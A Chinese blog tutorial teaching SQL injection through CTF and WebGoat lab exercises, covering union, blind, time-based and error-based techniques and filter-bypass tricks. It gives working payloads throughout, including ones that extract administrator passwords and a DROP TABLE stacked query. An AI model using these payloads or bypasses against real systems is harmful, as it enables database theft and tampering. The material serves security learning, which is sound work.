文章博客地址:从0到1完全掌握 SQL 注入
前言:本人算是三刷 SQL 注入了,最早开始学的时候并没有很好的掌握 SQL 语句。最近再重新刷一遍,巩固一遍知识。
建议使用的配套靶场是 WebGoat、BUUCTF 以及 CTFhub。第一遍学的时候用的是 sqli-labs,但总觉得少了点味道。
所以到底什么是 SQL?到底什么是 SQL 注入?
SQL:全称** Structured Query Language**,是一门专用于数据库的编程语言。那么 SQL 注入就是基于 SQL 语句的攻击啦~
说到这儿,小白还是很迷糊的,那所以 SQL 注入有什么用呢?
面向老手:之前打过 CTF 的小伙伴们都应该尝试过,使用 SQL 注入爆得数据库信息的经历吧。
面向小白:我们先不讲原理,通过几道靶场体验一下 SQL 注入。
启动题目容器后,直接输入 payload:
在用户名处输入:
1' union select 1,2,3 #
密码随意输入,我这里输入的是 123
启动题目容器后,直接输入 payload:
在用户名处输入:
1' union select 1,2,group_concat(password) from l0ve1ysq1 #
密码随意输入,可以还是输入123
这里就得到了 flag
根据上面的 CTF 靶场例题** ^ ^ 是不是挺明显的了~ SQL 注入可以爆得数据库的一些数据信息。**
严重的 SQL 注入还可以 getshell。
篡改数据库的数据 ———— 通过获得权限后的增删改查。
挂黑页。
小伙伴们也都初步体验过 SQL 注入了,接下来我们好好从基础开始讲,要真正学会 SQL 注入,就一定要先学会 SQL 语法。
在正式讲 SQL 语句之前,我们需要明确一下数据库(database),数据表(table),数据库管理系统三者的关系。这个非常重要!!!!
数据库管理系统 --管理着数据库---> 数据库(database) --管理着数据表---> 数据表(table) --管理着数据---> 数据被存放在每行每列(colunms)中。
在 MySQL 下,存在一个默认的数据库,名为 "Information_schema",一般后续的 SQL 注入都是存在三步走的关系,这里以联合注入为例
爆数据库
> 1' union select database(),1 # // 具体情况根据字段数来
得到数据库的名为 pikachu,接着下一步爆表,爆表一般都是 table_schema
爆数据表
1’ union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #=》 这里的 pikachu 是爆出来的数据库名,如果数据名是另外其他的,替代进即可
得到许多个其他的数据表,接着就查询字段即可
查字段
1' union select group_concat(column_name1),group_concat(column_name2) from information_schema.columns where table_name='爆出来的表名' // 用上述爆出来的表名
查数据
1' union select 2,group_concat(column_name) from '爆出来的表名'
为什么输入上文一样的 payload 就可以爆得那些数据了呢?不要着急~ 万丈高楼平地起,我们先从基础开始看。
SQL 语言还是特别人性化的,语句的语法和英语的语法十分相似。
SELECT - 选择数据
UPDATE - 更新数据
DELETE - 删除数据
INSERT INTO - 插入数据
CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更(改变)数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引(搜索键)
DROP INDEX - 删除索引
GRANT - 授权(一般是授权操作:如增删改查)
REVOKE - 取消授权
SAVEPOINT - 设置保存点
ROLLBACK - 回滚
SET TRANSACTION - 设置事务
学习安全有时要做到事无巨细,这么多的 SQL 语句看到就足以让人头皮一麻了,这儿我们主要关注一个 SQL 语句——————** SELECT** ,SELECT 语句是产生 SQL 注入的罪魁祸首。
SELECT 语句的基本语法:在数据表里面取数据
SELECT * from table_name; // 基本语法
SELECT phone from employees where userid=96134; 从employees表当中选择 userid = 96134 的 phone 信息
记住这句话,SQL 注入的本质是 SQL 语句的闭合。
上节说到 SELECT 语句是产生 SQL 注入的罪魁祸首,我们再来深度剖析一下 SQL 语句中的 SELECT 语句。
我们以 WebGoat 提供的环境作为靶场,这样也省去了搭建靶场的时间。
SQL 语句的查询语句
"SELECT * FROM users WHERE name = ''";
在框内输入 123,查看变化
把 SQL 语句单独拉出来再看一看,这不就是在 users 表中选择 name = 123 的用户么~ 好理解吧~
"SELECT * FROM users WHERE name = '123'";
但是!在实际环境当中,自己需要登录进 web 页面,但却不知道用户名和密码时,123 作为用户名大概率是错误的。
若服务器对 SQL 语言未进行任何限制:
由此,这里向大家介绍第一个最基础的 SQL 注入攻击:万能密码
payload:
123' or '1'='1
name = '123' or '1'='1' 这一段语句永远为真,若服务器后端未对 SQL 语句进行任意过滤,那么攻击者就成功地实现了绕过。
配套靶场:WebGoat,WebGoat的搭建可以移步至我的博客下学习——————一文解决搭建WebGoat的所有问题
选择 Injection 界面下的 SQL Injection(intro) Lesson9
题目里面告诉了我们 SQL 查询语句
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";
这里我们选择 Smith' or '1'='1,成功~
得到的 SQL 语句:
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
因为此处 last_name 等于 **'Smith' or '1'='1'**永远为真,
原本的 SQL 语句也就等价于
SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE
而所有的数据对于 **last_name=TRUE **都成立,故可以查询出所有的数据。
所谓数字型注入即参数为数字,不需要添加其他符号来做闭合,如 id=1 or 1=1
的形式
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
靶场:WebGoat --> Injection --> SQL Injection (intro) --> LessonPage10
靶场界面如图所示
题目已经给了 SQL 查询语句
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
经过三步走,判断是否为数字型注入后,在 User_Id 中输入 1 or 1=1
—————进行最基本的数字型注入,查看回显。(这里如果在 Login_Count 下进行数字型注入会错误,原因可见WebGoat代码审计-02-SQL注入,是后端先进行了预编译)
成功 ~ 我们再根据查询的 SQL 语句分析一遍逻辑
SELECT * From user_data WHERE Login_Count = 123 and userid= 1 or 1=1
这句 SQL 查询语句也等价于
SELECT * From user_data WHERE Login_Count = 123 and userid=TRUE
也就是说,userid 永远都是 "TRUE",所以爆出了所有的数据。
字符型注入也就是我们之前所说的 "万能密码"
由于加单引号后变成三个单引号,则无法执行,程序会报错;一般的报错都是像这样。
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1
过多就不再赘述,可以依照万能密码理解。
行内注释符号
/**/
; 应用 ——/* 123 */
,能够将123注释。行外注释符号
--
;#
; 应用 ——SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'
可以将 "--" 后的所有内容都注释掉。
提供多组查询,也就是堆叠注入,符号为
;
应用 ——SELECT * FROM users; DROP TABLE users;
用于字符串的连接,单引号
'
,加号+
,管道符||
, 应用 ——SELECT * FROM users WHERE name = '+char(27) OR 1=1
联合查询的用法:
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
这时候肯定有好多小伙伴要好奇问了,你说了这个联合查询,那联合查询没有任何限制吗?———————— 答案当然是有限制!
在使用 UNION SELECT 联合查询之前,必须要先判断数据表有多少列,试想一下,如果数据表有三列,而 UNION SELECT 了四列,必然会导致报错。
举个栗子: 数据表有 3 列,那么 union 查询时的语句应该符合如下基本构造
1' union select 1,2,3 #
如果数据表有 4 列,构造如下
1' union select 1,2,3,4 #
乍一眼看这段话是比较抽象的,我们还是简单举个例子。
大家都知道,在新建数据库时,我们必须命名 table_name, column_name 以及 column_type ————这个东西就是数据库列的数据类型。
CREATE TABLE Persons
(
PersonID int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);
对应这一个新的数据表 Persons,我们的联合查询应该如下
1' union select 1,"张三","李四","322111","杭州" #
如果第一个数据输入的并不是 int 类型的数据的话,一定会遇到报错,我们这里用'1'作为例子。
Conversion failed when converting the varchar value '1' to data type int.
那么问题又来了,当我们实战渗透,进行攻击的时候,肯定不知道对方的数据表有几列啊,这时应该怎么办呢?
假设是字符型注入
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
etc.
有多少个列,就写多少个 NULL
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
etc.
特别需要注意的:在 Oracle 数据库中,需要改为
UNION SELECT NULL FROM DUAL --
好啦,该讲的知识点也都讲完了,是时候打靶场了~
靶场界面如图所示
题目告诉我们已经存在的两个数据表 user_data 和 user_system_data
两个任务:1. 从表中获取到所有的数据;2. 搞到 Dave 的密码。
看到这个 Get Accout Info 的按钮,这和 Check Password的一定是分开的,那么我们先尝试闭合 SQL 语句,在第一个查询框内输入 1' or '1'='1
根据我们前文提到的堆叠注入,通过分号隔开两条 SQL 语句,payload:
1'; select * from user_system_data --
由此,我们爆出了 user_system_data 表的数据,也得到了 Dave 的 password。但是 WebGoat 此时让我们再使用 UNION 查询来完成 SQL 注入。
从之前的尝试中,我们发现使用万能密码注入时,返回的数据有七列。而 user_system_data 表只有4列,所以需要将从 user_system_data 表中查到的数据补齐到7列。
7列数据: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
目前 user_system_data 有4列:userid, user_name, password, cookie,将其补齐到7列。
由此思考出 UNION SELECT 的数据:
userid, user_name, password, null, null, cookie, null
进一步构造 payload:
1' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --
这样子我们可以爆出所有的数据
还有一种只爆出 Dave password 的 payload,在这一种 payload 中,可以很明显地看出来 Union 联合查询要满足的第二个条件———————— 查询的数据要与原数据库列的数据类型匹配。
1'or 1=1 union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'--
从这道靶场中可以看出联合查询的可用点,也就是不是每一个地方都是可以爆数据出来的。
进入界面,输入一个数字1,查看 SQL 语句
根据SQL语句的闭合,使用万能密码登录
admin' or '1'=1'
但是再使用这个密码登录之后,发现还是同一个界面
使用联合注入,发现报错
admin' union select 1,2,3,4#
最后判断得到字段数为3
发现2,3位置可被查询
这里前面的 username 一定不能是 admin,一开始用 admin 一直不行,后面看了 WP 才改成了1
1' union select 1,database(),3#
发现数据库的名称为 geek,开始进一步查询
1' union select 1,group_concat(table_name) where information_schema.tables where tables_schema='geek',3#
结果得到报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '3 %23' and password='1'' at line 1
尝试放到3字段中
再进一步爆破column名
只有一个 payload 检索出 flag
1' union select 1,2,group_concat(password) from l0ve1ysq1
在 WebGoat 网站上对盲注的英文描述机翻过来之后,比较不准确,这里分享一下自己的理解。
首先 SQL 盲注很重要的一点是无回显
其次 SQL 盲注存在非显性回显,也就是说从侧面可以看出回显
展开来给大家讲一讲
SQL 盲注的意思是,注入数据到 SQL 语句中,服务器不会返回数据库里的详细信息 ———————— 无回显的表现。
只会给出 true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错) ———————— 这里就是我所说的侧面回显。
所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。
首先 SQL 盲注很重要的一点是无回显
其次 SQL 盲注存在非显性回显,也就是说从侧面可以看出回显
展开来给大家讲一讲
SQL 盲注的意思是,注入数据到 SQL 语句中,服务器不会返回数据库里的详细信息 ———————— 无回显的表现。
只会给出 true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错) ———————— 这里就是我所说的侧面回显。
所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。
最重要的一定是先找注入点,判断是否存在注入点,多试试各种地方,比如 Login 的登录界面,Register 注册界面等
布尔盲注,只会根据你的注入信息返回 True 或 False,也就没有了之前的报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1
判断注入点
1' and 1=1 // 页面返回有数据
1' and 1=2 // 页面返回无数据
此种情况可以推出存在 SQL 注入判断当前页面字段数
1' and order by 2 -- // 页面返回有数据
1' and order by 3 -- // 页面返回无数据
判断出当前页面字段数为 2原理其实很简单,就是把 1=1 替换成其他判断的条件即可
还有一些用法,我们以这道靶场为例辅助说明
靶场地址:SQL 布尔盲注靶场
在进入靶场之前看一看题目的描述,已经告诉了我们注入点在 TrackingID 上,且不存在回显,如果 TrackingID = True,则会返回 "Welcome Back"的信息,反之则没有
靶场界面如图所示
我们抓包,获取一下 TrackingID,并对 TrackingID 进行注入探测
TrackingID | 回显 |
---|---|
TrackingID' and '1'='1 | 回显中存在 " Welcome Back " |
TrackingID' and '1'='2 | 回显中不存在 " Welcome Back " |
上表证明存在 SQL 注入。
根据布尔盲注的原理
TrackingID' and True,则存在 " Welcome Back "的回显。
TrackingID' and False,则不会有 " Welcome Back "的回显。
已知,题目要求我们使用 administrator 登录,那便只需将条件与 password 挂钩即可(此时我们已经大胆猜测,密码是保存在 password 这一列中的,所以直接盲注爆数据) ———— 若是不知道 表/库/列,则需要先一步爆破,具体内容可移步至博客下 ———— 布尔盲注
构造判断密码长度的 payload: 个人觉得这一步还是有存在价值的,当然,直接爆其实也可以。
TrackingID' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
在长度上进行爆破:
爆破结果如下:
当长度为 20 时,爆破的 Length 同其他的不一样,发包之后看到是无回显的,所以判断密码长度为 19
再构造爆密码的 payload
TrackingID' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
同样的爆破 ~
对 'a 设置引用 --> §a§
Payloads 设置如图,进行爆破
结果如下:
再修改之前的 payload,将 substring(password,1,1) 修改为 substring(password,2,1),也就是对第二位密码进行爆破。
TrackingID' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
以此类推,得出答案 ~
所有的盲注都是很类似的,可以说是举一反三
判断报错盲注是否存在
判断注入点
1' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a // 此时界面正常
1' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a // 报错,因为除数为零判断字段数
1' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE order by 2 -- // 界面正常
1' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE order by 2 -- // 报错,并判断字段数是否为 2
靶场地址:SQL 报错盲注靶场
靶场提示了,用的是 Oracle 数据库,所以我们的 payload 要稍微调整一些,但是整体逻辑是不变的。
验证一下报错与注入点
输入 | 回显 |
---|---|
TrackingID' | 状态码:500 |
TrackingID | 状态码:200 |
利用两者清晰的回显不同,进行报错注入,构造 payload:
TrackingId'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' // 获得 500 报错
TrackingId'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' // 回显正确,200
同上题一样,在已知是想要通过 administrator 登录的情况下,可以先进行验证,因为在实战渗透环境当中,不一定都还会有 admin,administrator 这些账号的。
payload:
TrackingId'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
200 的状态码,表示存在一个名为 administrator的用户,接着爆密码长度。
TrackingId'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
在 Intruder 模块对数字进行绝对引用,1 --> §1§
长度为 21,接着和布尔盲注的判断密码步骤类似,这里挂一下 payload,就不展开细讲了。
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
判断延时注入是否存在
判断注入点
1' ; (SELECT CASE WHEN (1=2) THEN sleep(10) ELSE sleep(0) -- // 此时界面延时 10 s
1' ; (SELECT CASE WHEN (1=1) THEN sleep(10) ELSE sleep(0) -- // 此时界面无延时判断字段数
1' ; (SELECT CASE WHEN (1=2) THEN sleep(10) ELSE order by 2 -- // 界面正常,会去判断字段数是否为 2
1' ; (SELECT CASE WHEN (1=1) THEN sleep(10) ELSE order by 2 -- // 延时 10 s
靶场地址:SQL 延时盲注靶场
本道靶场的数据库是 PgSQL,所以 payload 方面会稍作改变,但原理还是一样的。
还是老样子,抓包,并且根据题目的提示,TrackingID 为注入点
构造判断注入点的 payload:
TrackingId'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- // 此界面延时了 10s
TrackingId'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- // 毫无延时
再根据题意,确认一遍是否存在 administrator
TrackingId'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
存在延时,说明确实存在 user = administrator
后续的步骤还是同之前一样的逻辑,爆密码长度,然后一个个爆,挂一下 payload 吧~
爆破密码长度的 payload
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
因为是延时注入,所以会比较耗时间,大家做题的时候可以先挂着,然后再去做别的事情。爆了两分钟才发了 9 次包
爆破密码的 payload
TrackingId'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
我们新讲的这个 SQL 报错注入不同于之前盲注当中的报错注入,SQL 报错注入主要是针对 xpath 的。
这里给大家主要介绍两个最常见的报错注入函数
updatexml(): 是 MySQL 对 xml 文档数据进行查询和修改的 xpath 函数
extractvalue(): 是 MySQL 对 xml 文档数据进行查询的 xpath 函数
updatexml()的作用:改变文档中符合条件的节点的值
语法
updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称,文中为Doc第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据。
updatexml
报错注入万能语句:
1 or (updatexml(1,c·oncat(0x7e,(这里填写sql语句),0x7e),1))
首先拿到题目,先探测是否存在 SQL 注入,在框中输入 1'
如此报错说明存在 SQL 注入
再三步走,爆库,爆表,爆列
爆库:
1 or (updatexml(1,concat(0x7e,(database()),0x7e),1))
再从 sqli 数据库下爆表
1 or (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1))
结果如下,sqli
数据库中有news
以及flag
两个数据表
看到了 flag,那肯定是冲着 flag 去了 ~
爆出 flag 字段中的内容
1 or (updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1))
但是这个时候出现了一个问题,flag并没有显示完全,在查看其他师傅的 WP 后才知道是因为 ———— updatexml 报错注入,报错的回显最多为32位
这个时候可以使用substr
函数,将没有显示出来的部分截取出来,从第 25 位开始截取 10 个字符。
1 or (updatexml(1,concat(0x7e,(select substr(group_concat(flag),25,10) from sqli.flag),0x7e),1))
这样就得到了完整的 flag ~ 查看后发现,其实不使用 substr 爆数据,其实直接加上大括号的另一半也可以 ~
其实在掌握完 updatexml 之后,对于 rxtractvalue的掌握也是大同小异,只是 payload 稍微有一些不一样,大致原理是相同的。
作用:从目标XML中返回包含所查询值的字符串
语法:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
extractvalue
报错注入万能语句:
1 or (extractvalue(1,concat(0x7e,(这里填写sql语句))))
这里就直接挂一个 payload ~,师傅们看一看即可
1 and (extractvalue(1,concat(0x7e,(select flag from flag))))
同样也是 报错的回显最多为32位,和上文一致,可以通过 substr 进行截取
SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'";
这里的 UserID 就不经过拼接,而是直接通过 session.getAttribute 读取。
预编译的问题在上文我们也提到过 ~
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
很多小伙伴们觉得预编译可以完美防止 SQL 注入,其实不完全是这样的。
转义字符,也就是过滤掉一些特殊的字符,比如单引号、括号这种,能够很好的防御 SQL 注入。
使用大小写绕过:
1' uNiOn seLeCt 1,2,3#
union
,select
,information
等关键字如 CTF 题目 极客大挑战 2019BabySQL
原本的 payload:
1' union select 1,2#
改为 1' ununionion selselectect 1,2#
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
具体的 payload:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
比如 UnIOn SelECt
1)十六进制绕过
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B
2)ascii编码绕过
Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
3)Unicode编码
常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
两个空格代替一个空格,用Tab代替空格,%a0=空格:
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
或者使用括号绕过
select(user())from table where(1=1)and(2=2)
一般只可通过 16 进制绕过
例如,原本的 SQL 语句
select column from tables where table_name="users"
这里将 users 转换为 0x7573657273
id=1' union select 1,2,3||'1
最后的or '1闭合查询语句的最后的单引号,或者:
id=1' union select 1,2,'3